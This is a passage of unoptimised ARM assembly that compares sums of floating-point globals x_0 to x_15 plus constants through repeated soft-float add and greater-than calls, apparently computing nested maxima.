bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L301
.L1449:
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1451
ldr r3, .L1685+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L301
.L1451:
ldr r3, .L1685+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L301:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-76] @ float
ldr r3, .L1685+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1452
ldr r3, .L1685+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L319
.L1452:
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L319:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1453
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L322
.L1453:
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L322:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1454
ldr r3, .L1685+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1455
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L328
.L1455:
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L328
.L1454:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1456
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L328
.L1456:
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L328:
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1457
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L334
.L1457:
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L334:
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1458
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L337
.L1458:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L337:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1459
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1460
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L343
.L1460:
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L343
.L1459:
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1461
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L343
.L1461:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L343:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1462
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1463
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L351
.L1463:
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L351:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1464
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L354
.L1464:
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L354:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1465
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1466
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L364
.L1466:
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L364
.L1465:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1467
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L364
.L1467:
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L364
.L1462:
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1468
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L367
.L1468:
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L367:
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1469
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L370
.L1469:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L370:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1470
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1471
ldr r3, .L1687+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L364
.L1471:
ldr r3, .L1687+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L364
.L1470:
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1472
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L364
.L1472:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L364:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-72] @ float
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1473
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L382
.L1473:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L382:
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1474
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L385
.L1474:
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L385:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1475
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1476
ldr r3, .L1687
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L391
.L1476:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L391
.L1475:
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1477
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L391
.L1477:
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L391:
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1478
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L397
.L1478:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L397:
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1479
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L400
.L1479:
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L400:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1480
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1481
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L406
.L1481:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L406
.L1688:
.align 2
.L1687:
.word x_0
.word 1076232192
.word 1077018624
.word x_7
.word 1074790400
.word x_10
.word 1076953088
.word 1076363264
.word 1076101120
.word x_6
.word x_8
.word 1072693248
.word x_11
.word 1076887552
.word x_13
.word 1076625408
.word x_15
.word 1075970048
.word x_4
.word x_9
.word 1077084160
.word x_12
.word 1075314688
.word x_14
.word 1075576832
.word x_0
.word x_1
.word 1077149696
.word x_2
.word 1076756480
.word x_3
.L1480:
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1482
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L406
.L1482:
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L406:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1483
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1484
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L414
.L1484:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L414:
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1485
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L417
.L1485:
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L417:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1486
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1487
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L427
.L1487:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L427
.L1486:
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1488
ldr r3, .L1687+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L427
.L1488:
ldr r3, .L1687+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L427
.L1483:
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
